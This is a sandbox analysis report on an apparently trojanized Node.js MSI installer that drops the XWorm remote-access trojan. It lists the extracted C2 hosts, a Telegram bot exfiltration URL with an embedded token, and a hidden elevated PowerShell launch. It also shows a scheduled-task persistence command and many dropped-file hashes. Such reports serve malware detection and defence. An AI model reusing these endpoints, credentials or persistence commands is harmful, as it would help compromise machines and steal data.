Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-11-2024 21:12

General

  • Target

    node-v22.11.0-x64.msi

  • Size

    28.9MB

  • MD5

    fa9e1f3064a66913362e9bff7097cef5

  • SHA1

    b34f1f9a9f6242c54486a4bc453a9336840b4425

  • SHA256

    9eea480bd30c98ae11a97cb89a9278235cbbbd03c171ee5e5198bd86b7965b4b

  • SHA512

    ad3e9469326dccac6b49185b5b2814ba700b5d83b4b3ce17f85a9adc5f90bdebf54d79800b253ed5c371ab82d27304841f86ab1a8a3c7ffade8a2d78e55dc99f

  • SSDEEP

    786432:EtShU+9S49htlhk3tKuiU9IsO9IP1/lBMS8k4:EAUK/U9IN961/l

Malware Config

Extracted

Family

xworm

C2

127.0.0.1:56855

actually-partly.gl.at.ply.gg:56855

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    dllhost.exe

  • telegram

    https://api.telegram.org/bot7778036187:AAGDvl5Fa9OePk7XbvnwLTcrLV-FGDaVIHo/sendMessage?chat_id=6445668544

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 15 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 30 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\node-v22.11.0-x64.msi
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4776
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3564
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 191794C0D2365EECCBB7F007CAB21BE7 C
      2⤵
      • Loads dropped DLL
      PID:3556
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2444
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 1F40F0D776D351D5E933E167956993C9
        2⤵
        • Loads dropped DLL
        PID:2080
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 28CA42F813BC804A7D0AA100994F301A E Global\MSI0000
        2⤵
        • Loads dropped DLL
        PID:432
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1263C366050DF65DC13B30829290FAC0
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2892
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2524
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4156
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c CALL "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2324
        • C:\Program Files\nodejs\node.exe
          "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
          3⤵
          • Executes dropped EXE
          PID:816
      • C:\Program Files\nodejs\node.exe
        "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-cli.js" i nlhybridfixer
        2⤵
        • Checks computer location settings
        • Drops file in System32 directory
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3336
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c node index.js
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4388
          • C:\Program Files\nodejs\node.exe
            node index.js
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3960
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Start-Process -FilePath "'C:\Users\Admin\AppData\Local\Temp\cbca0d5cc0b377629a7154a210ab7ab4\execute.bat'" -WindowStyle hidden -Verb runAs"
              5⤵
              • Hide Artifacts: Hidden Window
              • Suspicious use of WriteProcessMemory
              PID:3568
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe Start-Process -FilePath "'C:\Users\Admin\AppData\Local\Temp\cbca0d5cc0b377629a7154a210ab7ab4\execute.bat'" -WindowStyle hidden -Verb runAs
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4480
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\cbca0d5cc0b377629a7154a210ab7ab4\execute.bat"
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3928
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    8⤵
                      PID:4508
                    • C:\Users\Admin\AppData\Local\Temp\cmd.exe
                      "C:\Users\Admin\AppData\Local\Temp\cmd.exe"
                      8⤵
                      • Drops startup file
                      • Adds Run key to start application
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:1648
                      • C:\Windows\System32\schtasks.exe
                        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "dllhost" /tr "C:\ProgramData\dllhost.exe"
                        9⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2808
      • C:\ProgramData\dllhost.exe
        C:\ProgramData\dllhost.exe
        1⤵
        • Executes dropped EXE
        PID:5076

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Config.Msi\e58341c.rbs

        Filesize

        935KB

        MD5

        dab806dd8cadfa4eba9ba2a2a5e9c64a

        SHA1

        33cb08d6bdd9d8ea275b8721a5f3336a7a287d76

        SHA256

        8a3d0a7c6fc7d0ee604d70c173d8d68a89c241122338aaa7269843eec59ba4c2

        SHA512

        a5f200c14374a1e9044dc0219fc64cd778b450bae0705a3d8210ddea6197ed78566fe37a5f49b3fd1a225d15e223550a02e33ac95b3e5523ef379acb2da417cc

      • C:\Program Files\nodejs\node_modules\npm\bin\npm-prefix.js

        Filesize

        864B

        MD5

        92dd1b5a463374142271ff420cb473a5

        SHA1

        a9f946c6a8c6f273f837703acc74c367b7781a99

        SHA256

        673f620e40137c295f2cf057364468bf3a71653dfc0973be895ebf7a8c368c2e

        SHA512

        5e0a6e4a9cff4b37acbece070a592a65ed044a78e1b104517eb5bb233d4398f67140b44e986e7a2de16bfb65b0ab7609e831341efea2a6f583258b6a85f70e01

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\definition.js

        Filesize

        6KB

        MD5

        882260e7dd69f6a1403c4b364412ef59

        SHA1

        a3f3f9430c43ab1e0e485532cc4ddfe73cac7784

        SHA256

        8d2dd6fdf38c2cceed52e113d3c179510280f7f9eccb3fa8d9f257edea2b0741

        SHA512

        bec5072a0c0cacc51919d4dbcdedeb99f1450e3f9cf1f0786a08a96c8bb06763da41b375afb932652693ac3558f32775abfa73658db386a15c8515ac19207665

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\definitions.js

        Filesize

        74KB

        MD5

        ac2829ac584b52c925a7159c1a9cbfea

        SHA1

        3cdaf7d42cb81090742ca76988e80f06b3f98764

        SHA256

        79164e3881df94b91226fecfbb40133ab1f26d6bf66953f37f72dc1dd5bb9610

        SHA512

        fb77ef96f4a8ee1f6958dff93dd669b033b17a7b1ab5713d224dbeb32773d75c924e6bf04f779736413a14e7426d86c65daa7b4381c3a6294bb5d2e9a1981774

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\index.js

        Filesize

        2KB

        MD5

        37d8a6912f48e0f28461f69815985ee8

        SHA1

        06cb384f853ae5cc622cccaed2dd51ae763bc742

        SHA256

        8082123435ecf20322d330e1efe7ff2ebba7b48b9a33950f11ff57e06319f225

        SHA512

        289c30d5a0c540d70dd0504c28ad771c871d541a41e9490c94f2c2d365b52b478fef6a2485f0d7671f26b1746d28762f9c28d5917c2ceb38ea11b25f7e67a816

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\env-replace.js

        Filesize

        428B

        MD5

        5b09814c86692cb123e72a3c83df5cc5

        SHA1

        be27af27e16d27bc7b35ce23ca0102658bc7915d

        SHA256

        faf24168246ff247179947ca899172d442688c599840ccf41798cada6c36bc3c

        SHA512

        a007e64b2e948599280af40aedacb9063619b1fce124393d240070201765595387fb7d5a49f63817de310676c309106349e35637790cbd629e9155c282efe360

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\index.js

        Filesize

        29KB

        MD5

        a2819bc319ade96e220b81c11ba1fd62

        SHA1

        f711920489d12ac7704e323de4cea98009299e7d

        SHA256

        9976a7f202a683370a170f8ab053d89cf6450c9d0596d8bed92bb762f0dca92e

        SHA512

        64b409c59d3e7df84ddd87163fb03f38d1bbed259323392685e01103ff9d2a43b456a5df5812e2bd3de61e0ae61520ccad444a92ea908a15bd871146630edd32

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\nerf-dart.js

        Filesize

        473B

        MD5

        014e5e4e67fc63e70b80f6de6f727ac7

        SHA1

        ae25851c771c860082f445e5c3553f59eecf6830

        SHA256

        7d0ee69ea790e4658d5029cdd728eb6375d0feed79af8b24dac99723e25cbbc7

        SHA512

        5a6e22ef53e66a719150c30001b183eaa475912e2ffbc4b2bfb036cc8fd5bc7b19fa1c72cd05688b7bfb8a48392371df784c252b0f560d5e26faee55eca92379

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\parse-field.js

        Filesize

        2KB

        MD5

        6b943bdc3a40a5555144d4350010da0a

        SHA1

        0a7725a4d582e4fa0685541f11e91368fc9565db

        SHA256

        5ea7f66b8afaeb7d1dc00eb80ba7cf4a9dea3c46670dfd0208c78c72318e7552

        SHA512

        709ebefdeaf3c9f2472561a58dca56bc6fcbb4eeb10a46c218b8acc57b98f1274e5faf133272a7dec662dbdb7cfdf1751743cb5a438dce5961f6c21ef7088990

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\set-envs.js

        Filesize

        3KB

        MD5

        2795242ee1cc41ae8267b0ea8fdd2055

        SHA1

        7736f88aca1e512ef57c418c5addff6f2e39e0ae

        SHA256

        3ca3cd31804ef8dc94e12f09384555ecf47a740424f3fdc21c4069869f1a2b34

        SHA512

        6ea988110a0421afa952daffb007a219f449a572cfb0999722db3364e0d75d9e9261f140185de3646fffbecfd81c6d6dc0b9a628e697288f1af7d37b96adf8de

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\type-defs.js

        Filesize

        1KB

        MD5

        8385a8a608e5cdd5a79957a6c979fb28

        SHA1

        d20fd55ae3664cd339245fdd26a28983baf97f2e

        SHA256

        5f8cab3a4133b226c653784d569a9bf3e5a2ee76ac73b9156cd58a2c72839648

        SHA512

        3bec37444635d9cdc9a2f1224fa9160213fc4dd1234e98080c7ec825f07785ac93d4a88bf8bb4bb91470ec070da9b32acc20b111d2d3fcd15397a8e641dd6eac

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\umask.js

        Filesize

        949B

        MD5

        ae8c8f3d710c2c7a5cacbcef9c6f9646

        SHA1

        3fabbd5fcbeca40267f54aa7f523afa573062ad3

        SHA256

        9aec687f45f435f9f198e583f35b5f5a4cd0d66e21c2e6e9c772fd8ccbe65b68

        SHA512

        94d94b24e7eafbf499923e92020ed5f7bf8aa606f3031ae4b99fdcabab2625a3bd84c60d6d1f236509c5281becbe06c697911db10dbc2b014bafa3903b5f00ce

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\package.json

        Filesize

        1KB

        MD5

        901e577d669d97e811a11f172dfb6655

        SHA1

        25d518b50deb389e311821d64d4b0b106618d7c7

        SHA256

        245d5f0e2a7508229e1cd3ee5f518d93c99eb8280fb35f7df149fe5222bb8af5

        SHA512

        ead727e7e751b897e060abbfdbc97ffe8d2c3efb9baffaf922ff97d8d6366bd7cc0727e4355cc4679d065bd2892d2550ab3349b235d9b0e6e0475cb6bc59f397

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\sign\node_modules\@npmcli\fs\LICENSE.md

        Filesize

        818B

        MD5

        2916d8b51a5cc0a350d64389bc07aef6

        SHA1

        c9d5ac416c1dd7945651bee712dbed4d158d09e1

        SHA256

        733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04

        SHA512

        508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\tuf\LICENSE

        Filesize

        11KB

        MD5

        dfc1b916d4555a69859202f8bd8ad40c

        SHA1

        fc22b6ee39814d22e77fe6386c883a58ecac6465

        SHA256

        7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9

        SHA512

        1fbe6bb1f60c8932e4dcb927fc8c8131b9c73afd824ecbabc2045e7af07b35a4155a0f8ad3103bf25f192b6d59282bfc927aead3cb7aaeb954e1b6dbd68369fa

      • C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\verify\dist\shared.types.js

        Filesize

        79B

        MD5

        24563705cc4bb54fccd88e52bc96c711

        SHA1

        871fa42907b821246de04785a532297500372fc7

        SHA256

        ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13

        SHA512

        2ce8d2cf580623358fef5f4f8925d0c9943a657c2503c80048ca789bf16eacdb980bfc8aaaa50101a738e939926fcf2545500484dcad782c700ee206d8c6f9b9

      • C:\Program Files\nodejs\node_modules\npm\node_modules\bin-links\LICENSE

        Filesize

        754B

        MD5

        d2cf52aa43e18fdc87562d4c1303f46a

        SHA1

        58fb4a65fffb438630351e7cafd322579817e5e1

        SHA256

        45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0

        SHA512

        54e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16

      • C:\Program Files\nodejs\node_modules\npm\node_modules\cacache\node_modules\p-map\license

        Filesize

        1KB

        MD5

        b862aeb7e1d01452e0f07403591e5a55

        SHA1

        b8765be74fea9525d978661759be8c11bab5e60e

        SHA256

        fcf1a18be2e25ba82acf2c59821b030d8ee764e4e201db6ef3c51900d385515f

        SHA512

        885369fe9b8cb0af1107ee92b52c6a353da7cf75bc86abb622e2b637c81e9c5ffe36b0ac74e11cfb66a7a126b606fe7a27e91f3f4338954c847ed2280af76a5f

      • C:\Program Files\nodejs\node_modules\npm\node_modules\cacache\node_modules\tar\dist\esm\package.json

        Filesize

        26B

        MD5

        2324363c71f28a5b7e946a38dc2d9293

        SHA1

        7eda542849fb3a4a7b4ba8a7745887adcade1673

        SHA256

        1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4

        SHA512

        7437cf8f337d2562a4046246fbfcc5e9949f475a1435e94efbc4b6a55880050077d72692cbc3413e0ccd8f36adf9956a6cc633a2adc85fbff6c4aa2b8edac677

      • C:\Program Files\nodejs\node_modules\npm\node_modules\cacache\node_modules\yallist\dist\commonjs\package.json

        Filesize

        28B

        MD5

        56368b3e2b84dac2c9ed38b5c4329ec2

        SHA1

        f67c4acef5973c256c47998b20b5165ab7629ed4

        SHA256

        58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd

        SHA512

        d662bff3885118e607079fcbeedb27368589bc0ee89f90b9281723fa08bda65e5a08d9640da188773193c0076ec0a5c92624673a6a961490be163e2553d6f482

      • C:\Program Files\nodejs\node_modules\npm\node_modules\ci-info\index.js

        Filesize

        2KB

        MD5

        6bc3b830e52cbf63330d6fb6df42b3e1

        SHA1

        8e1a9ba8163f5301a0b4a116f27042a66527a213

        SHA256

        543c666e3f9765fdd69dd18c267ce871a7581cfcca70eb8bea2265da840d277e

        SHA512

        4ce9b390ed11ddb01a8370e13563cbf6ea03450b88716d4e682485fdbeec9bffcb6816f7f5a3ad1b25a6c1be921ed0f4439229912a9ce8cbe2111ccd8b29ed33

      • C:\Program Files\nodejs\node_modules\npm\node_modules\ci-info\package.json

        Filesize

        1KB

        MD5

        81ac13ea0f7cb4a7883f5d91a5e54b13

        SHA1

        2a9beeb252bb02c3a3d489c449855478fba7a954

        SHA256

        a4ccd7fb4d618cda4f2aa0c8e6e6730b518902c995819eceb0e9353a1bede7c1

        SHA512

        9dd567f856129b919893189a646dda3790c48426b0718b4b280ad1bd9d96d65a81f0f9d46cfd9ef24d7e6e04bdb95c431e71544349d4d374d8cb9b129a2e0ab5

      • C:\Program Files\nodejs\node_modules\npm\node_modules\ci-info\vendors.json

        Filesize

        6KB

        MD5

        592a6df4bbda943f6e7e098afbf4d2d2

        SHA1

        4bcdbea1dbe27d737cc185aadec38d98bd3b26e4

        SHA256

        d3b5233ed14e168826e4f6c59e284cc6e10fad5bf49152f676747970ad86fba3

        SHA512

        09fc79ca007341c7330ac380f5b2e803e2686bd9dbf2fea3b91313913fdd5520e698ddf624860ed60705d2cd7205243566dc5b3b37d3dd5de4d0401d2db4b6e1

      • C:\Program Files\nodejs\node_modules\npm\node_modules\fs-minipass\LICENSE

        Filesize

        780B

        MD5

        b020de8f88eacc104c21d6e6cacc636d

        SHA1

        20b35e641e3a5ea25f012e13d69fab37e3d68d6b

        SHA256

        3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706

        SHA512

        4220617e29dd755ad592295bc074d6bc14d44a1feeed5101129669f3ecf0e34eaa4c7c96bbc83da7352631fa262baab45d4a370dad7dabec52b66f1720c28e38

      • C:\Program Files\nodejs\node_modules\npm\node_modules\indent-string\license

        Filesize

        1KB

        MD5

        5ad87d95c13094fa67f25442ff521efd

        SHA1

        01f1438a98e1b796e05a74131e6bb9d66c9e8542

        SHA256

        67292c32894c8ac99db06ffa1cb8e9a5171ef988120723ebe673bf76712260ec

        SHA512

        7187720ccd335a10c9698f8493d6caa2d404e7b21731009de5f0da51ad5b9604645fbf4bc640aa94513b9eb372aa6a31df2467198989234bc2afbce87f76fbc3

      • C:\Program Files\nodejs\node_modules\npm\node_modules\ini\lib\ini.js

        Filesize

        7KB

        MD5

        84b82e208b562cc8c5a48cf65e6ab0f0

        SHA1

        0adca343dd729beb86ebbb103f9d84e7ebbd17af

        SHA256

        481b00a4ebbfc83b28b97d32dccd32d7585b29b209930d4db457d91967f172ad

        SHA512

        377034e60d9d2ef3da96f23cb32f679754a67d3cd5991b1ad899f9f7c1910dcd0d9b0a1b0530046b6016896bd869a1607ef29c99949407959dcece6f9da790f5

      • C:\Program Files\nodejs\node_modules\npm\node_modules\ini\package.json

        Filesize

        1KB

        MD5

        5b29ab3cad80b08ec094c8201333ebe8

        SHA1

        dee99f05b24963959159f1f061926e9075679be8

        SHA256

        94ebf2db52f15b5da55a809977e04f02b052abf418cb160a8d0719362295d867

        SHA512

        a6e66ade3de2cd308b1081548d2e58a87aad15baaa236c4dea73d36a946b6de352c3765d188f350c9311ebea0efc8b0068a8a7e0025e3dfdff84b737be4e475a

      • C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmsearch\LICENSE

        Filesize

        730B

        MD5

        072ac9ab0c4667f8f876becedfe10ee0

        SHA1

        0227492dcdc7fb8de1d14f9d3421c333230cf8fe

        SHA256

        2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013

        SHA512

        f38fd6506bd9795bb27d31f1ce38b08c9e6f1689c34fca90e9e1d5194fa064d1f34a9c51d15941506ebbbcd6d4193055e9664892521b7e39ebcd61c3b6f25013

      • C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\lib\debug.js

        Filesize

        186B

        MD5

        1d97bc3d56be902d4f63b37b05f3ad85

        SHA1

        ace1fd823fc44e12a25448db2b5a49e20973e506

        SHA256

        0eda498431dfcb77febe2e79b4a63139559d3f42b21e8b81fc3879a3f6dc3c46

        SHA512

        fb52fee500d9099339b4d60f9aaab8bf613e7387848ff6ef3d2ce513d886298ee04810fb1f2b107a317cf4e1cea60a26ff4797b9cad3b11bbc26af0852e684ee

      • C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\lib\nopt-lib.js

        Filesize

        12KB

        MD5

        94443c174d88f844a9ccc4b910f630cc

        SHA1

        fcb80696d47cad01738194971bc75c5e249044ce

        SHA256

        ff669467a8d425130753c6169ce0ce909d45a110d36b1c37949608fa4395fe56

        SHA512

        1a8eefb98b810cc183fbbac805c51f3b0714a195376f81eb90d12173a26165970e06d1192f089691adc21f2076056409f1a0557cdf8edfa9d389450e6c727daa

      • C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\lib\nopt.js

        Filesize

        985B

        MD5

        f1f7369cd4f213cf2ae9469f4d1ef1f5

        SHA1

        cd7f1eb598f3ed855eb9033010dafc0198bf70c1

        SHA256

        10623659120996267168230ef2ffa9cfb7ce00422175d21476074c48d5262c18

        SHA512

        54b8adf2466118da90b84ecc2faa1c70a043679e542dd8631a50fdda883faef169d14a85cc64e2db33b492ac87c2a781bb9f454326b472cd5c61fe82434d115e

      • C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\lib\type-defs.js

        Filesize

        2KB

        MD5

        0dd63ef9ebbb7c6f5a20aaba3d799be6

        SHA1

        bd7d41bbdf8dce506c049cdcb339c6015fb11290

        SHA256

        6537bb9b4df3a1af3e14d5a99d58e75180878a3e96a4bb3bc9760b052b53c5a5

        SHA512

        b0f065c9749023493720f1102b7bc1b2506f449c67c57aba40aff591f6a03a8640149e9573bf0ce4a7664909b721d893b85e350fd488e6de6cb8afbb10d76bbb

      • C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\node_modules\abbrev\lib\index.js

        Filesize

        1KB

        MD5

        553252424d89d17aade6a0bdab1f1c1d

        SHA1

        1cb30c6f75014eec81b10c27d51413a2f0fafadb

        SHA256

        89ba3bd4b34ed7130749b098f18a78af725bba43b674039ffe801e8cf85df93f

        SHA512

        5e2e0d87c0268da9245265cf69ff500296d3d59219fcee673e1ef5149b63e44259eea60a739f278c57042fd2c7e3e95d1504fe9eabd3a931c6cc28574a49da8c

      • C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\node_modules\abbrev\package.json

        Filesize

        1KB

        MD5

        aa721fce40b4331d0ded9cb9c29ea599

        SHA1

        aeda7805291dca4b7fac211a623fd103e51f10ed

        SHA256

        ddeeecbb529261a5754f8e367601c66ace7822603315b776c330fea3524dd7ca

        SHA512

        0e245447309ad24a24338909f65f8fe39a949c72c536f5a0ebbebe9cba28cfdfff414caece80cc866e874678019131fcba93f569341d9346bd04676b669f318e

      • C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\package.json

        Filesize

        1KB

        MD5

        80bdf8901061eac24047d6b001499e89

        SHA1

        a99d447473406d5e862ae9337b7aee363a8d2f13

        SHA256

        8d349e100fdd613174f8b3c58149545e3d69a959b7fa3f466d457825575f5b3c

        SHA512

        b81099e82c23e809a558b8fb164338f3faa784e044d558daa4a09ab26179fc4594e170419f9e3d7b26baafb93d6981f001d2e8d3bab023767d219984b4769f03

      • C:\Program Files\nodejs\node_modules\npm\node_modules\npm-audit-report\LICENSE

        Filesize

        771B

        MD5

        e9dc66f98e5f7ff720bf603fff36ebc5

        SHA1

        f2b428eead844c4bf39ca0d0cf61f6b10aeeb93b

        SHA256

        b49c8d25a8b57fa92b2902d09c4b8a809157ee32fc10d17b7dbb43c4a8038f79

        SHA512

        8027d65e1556511c884cb80d3c1b846fc9d321f3f83002664ad3805c4dee8e6b0eaf1db81c459153977bdbde9e760b0184ba6572f68d78c37bff617646bcfc3b

      • C:\Program Files\nodejs\node_modules\npm\node_modules\proc-log\lib\index.js

        Filesize

        3KB

        MD5

        aaf4d3f519676aa3f490218a47fa6042

        SHA1

        9991f1ddc9b9a818dd4e9c2ad2dcd2b7c3ee7753

        SHA256

        f6c7ee8376eb6720a9b5149077648a0cc74e749c928f36bf88bd4dc6728d663c

        SHA512

        4ade93ee5fd3531389e3fb7f5f2db1fb8b99c2eb1fd769cf0a5ce726d1c4cf27aab1fcfa5dbc17dfe985879f00cf032a44e5c169cb40e7d4d27462a4033d2085

      • C:\Program Files\nodejs\node_modules\npm\node_modules\proc-log\package.json

        Filesize

        1KB

        MD5

        b9eb984a5b149084bb675358404d83ee

        SHA1

        2c87199e46d74c4de3202607efde64947bdc250b

        SHA256

        25f1b2da27302598083b749278018f7bd5cf42b8632df48428e07371e6386380

        SHA512

        4f3b72ffa47131f28a0ba85d9266665cad623bf72786b56054dcfa71cdac8d89b2d8be53db96dbb05d17035800fd6673f6143a567b0474748f3adeec1771dd57

      • C:\Program Files\nodejs\node_modules\npm\node_modules\promise-call-limit\LICENSE

        Filesize

        763B

        MD5

        7428aa9f83c500c4a434f8848ee23851

        SHA1

        166b3e1c1b7d7cb7b070108876492529f546219f

        SHA256

        1fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7

        SHA512

        c7f01de85f0660560206784cdf159b2bdc5f1bc87131f5a8edf384eba47a113005491520b0a25d3cc425985b5def7b189e18ff76d7d562c434dc5d8c82e90cce

      • C:\Program Files\nodejs\node_modules\npm\node_modules\semver\classes\semver.js

        Filesize

        8KB

        MD5

        f745bb0f4002c0aa36126e746de7b42e

        SHA1

        e457241c0a0e36daf5be5a1378bf54f992d08408

        SHA256

        9859c013ffb9f471ce781f2eb20d05c9fc46390aa2a6e841a331fdaff715f0e3

        SHA512

        42d4d60e0b04f36743c984d472351337991012f6a52e4422febdc7c3c88e16ccd12b6ae71c8e856a6942955adfdce4907f785e0d3d9b5868bdbbcabd6a480db6

      • C:\Program Files\nodejs\node_modules\npm\node_modules\semver\functions\parse.js

        Filesize

        333B

        MD5

        4bb860ccb55a8e7f8e15094c423bf190

        SHA1

        337cbb70f03b1e4a6128670ae8687cb4e2c337b5

        SHA256

        af01da654bb57a951d8ee8c55af7ff8717d5cba7f0f176a4eeac0116ccd2b962

        SHA512

        0c574099aada4303cdaf886cbb444632c49fdac3609215098ecbd74a51afffae3deb0ba341e2b15561463cd2b43924142526edae2ab7e94a09d848ad787e2b7b

      • C:\Program Files\nodejs\node_modules\npm\node_modules\semver\functions\valid.js

        Filesize

        168B

        MD5

        fc7283ee28a91d78c8e336e34115a423

        SHA1

        bc78998bd04ce27fd79dd5585ea9d9858fb929cb

        SHA256

        cc754d3b632ef37a372efa2c98125fa72305a8188c0af4178e7bf52fe65b81d8

        SHA512

        1e07b012b3fee99e807cceaa20413f5a631871a7d8ef73544f943c3fb8a7f1732f186e9c29715605bc353c21ae39b9dbca5fdc1a02d1769325b40ab992ad8bc4

      • C:\Program Files\nodejs\node_modules\npm\node_modules\semver\internal\constants.js

        Filesize

        894B

        MD5

